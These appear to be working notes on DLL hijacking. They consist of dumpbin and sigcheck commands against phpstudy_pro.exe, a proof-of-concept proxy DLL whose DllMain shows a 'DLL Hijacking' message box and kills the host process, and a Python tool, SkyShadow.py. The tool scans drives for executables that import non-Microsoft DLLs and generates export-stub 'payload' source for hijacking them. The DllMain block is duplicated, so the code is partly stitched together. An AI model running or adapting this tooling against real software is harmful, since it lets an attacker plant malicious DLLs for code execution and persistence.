D:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Tools\MSVC\14.38.33130\bin\Hostx64\x64

dumpbin /imports phpstudy_pro.exe

// dllmain.cpp : 定义 DLL 应用程序的入口点。

// 包含预编译头文件（如果使用了）
#include "pch.h"

// 包含必要的头文件
#include <iostream>

// 在此处定义导出函数声明，这些函数将在DLL中被导出
extern "C" __declspec(dllexport) int JLI_GetStdArgc() { return 0; }
extern "C" __declspec(dllexport) int JLI_GetStdArgs() { return 0; }
extern "C" __declspec(dllexport) int JLI_Launch() { return 0; }
extern "C" __declspec(dllexport) int JLI_MemAlloc() { return 0; }
extern "C" __declspec(dllexport) int JLI_CmdToArgs() { return 0; }

// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    // 根据调用原因进行不同的处理
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // 当进程附加到DLL时执行的代码
        MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK); // 显示一个消息框
        exit(0); // 退出进程
        break;

    case DLL_THREAD_ATTACH:
        // 当线程附加到DLL时执行的代码
        break;

    case DLL_THREAD_DETACH:
        // 当线程从DLL分离时执行的代码
        break;

    case DLL_PROCESS_DETACH:
        // 当进程从DLL分离时执行的代码
        break;
    }

    return TRUE; // 返回TRUE表示初始化成功
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK);
        exit(0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

sigcheck64 phpstudy_pro.exe

import re
import os
import sys

def GetPayload(path, exeName):
    hijackableDLLs = {}
    exeFullPath = path + '/' + exeName
    exeSize = os.path.getsize(exeFullPath)
    if exeSize > 10 * 1024 * 1024: # 10MB
        return
    # 获取导入表
    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
    # 匹配 DLL 信息
    dllsInfo = re.findall('([\S]+\.[dlDL]{3})[\s\S]+?\n\n([\s\S]+?\n)\n', imports)
    for dllInfo in dllsInfo:
        dllName = dllInfo[0]
        if '?' not in dllInfo[1] and dllName.lower() not in MicrosoftDlls:
            functionNames = re.findall('[0-9A-F][\s]([\S]+)\n', dllInfo[1])
            hijackableDLLs[dllName] = functionNames # {'xxx.dll': ['func1', 'func2', ...], ...}
    # 获取 EXE 信息
    if hijackableDLLs:
        print(exeFullPath)
        # 文件大小
        if exeSize > 1024 * 1024:
            exeSize = str(round(exeSize/(1024 * 1024), 2)) + 'MB'
        elif exeSize > 1024:
            exeSize = str(round(exeSize/1024, 2)) + 'KB'
        else:
            exeSize = str(round(exeSize, 2)) + 'B'
        # 位数
        sigcheck = os.popen('sigcheck64 -accepteula "' + exeFullPath + '"').read()
        if '64-bit' in sigcheck:
            bit = 'x64'
        elif '32-bit' in sigcheck:
            bit = 'x86'
        # 数字签名
        if re.search('Publisher:[\s]+n/a', sigcheck):
            publisher = ' '
            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
        else:
            publisher = '数字签名 '
            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
        # 生成导出函数
        for dllName, functionNames in hijackableDLLs.items():
            payload += ['\n' + dllName]
            for functionName in functionNames:
                payload += ['extern "C" __declspec(dllexport) int ' + functionName + '() { return 0; }']
        # 写入文件
        fileName = bit + ' ' + exeSize + ' ' + publisher + exeName
        try:
            os.mkdir('Payload')
        except:
            pass
        try:
            os.mkdir('Payload/' + fileName)
        except:
            pass
        with open('Payload/' + fileName + '/' + fileName + '.txt', 'w') as f:
            f.write('\n'.join(payload))
        os.popen('copy "' + exeFullPath.replace('/', '\\') + '" "' + os.getcwd() + '/Payload/' + fileName + '"')
        
# 收集微软 DLL  递归变量文件夹 收集dll
def Scan(path, suffix):
    try:
        for fileName in os.listdir(path):
            if os.path.isdir(path + '/' + fileName): # 文件夹
                Scan(path + '/' + fileName, suffix)
            elif fileName[-4:] == suffix:
                if fileName[-4:] == '.dll': # DLL
                    print(fileName)
                    MicrosoftDlls.add(fileName.lower())
                elif fileName[-4:] == '.exe': # EXE
                    GetPayload(path, fileName) # 生成 Payload
    except: # 文件夹无法打开
        pass

if __name__ == '__main__':
    if len(sys.argv) == 2:
        # 收集微软 DLL
        if os.path.exists('微软 DLL.txt'):
            with open('微软 DLL.txt','r') as f:
                MicrosoftDlls = f.read().splitlines() # ['ntdll.dll', 'kernel32.dll', ...]
        else:
            MicrosoftDlls = set() # {'ntdll.dll', 'kernel32.dll', ...}
            Scan('C:/Windows/System32', '.dll')
            Scan('C:/Windows/SysWOW64', '.dll')
            Scan('C:/Windows/WinSxS', '.dll')
            with open('微软 DLL.txt', 'w') as f:
                f.write('\n'.join(MicrosoftDlls))
        # 扫描 EXE
        Scan(sys.argv[1], '.exe') ## 对指导路径下的文件进行扫描，看是否符合dll 劫持条件
    else:
        print('Usage: python SkyShadow.py "D:/"')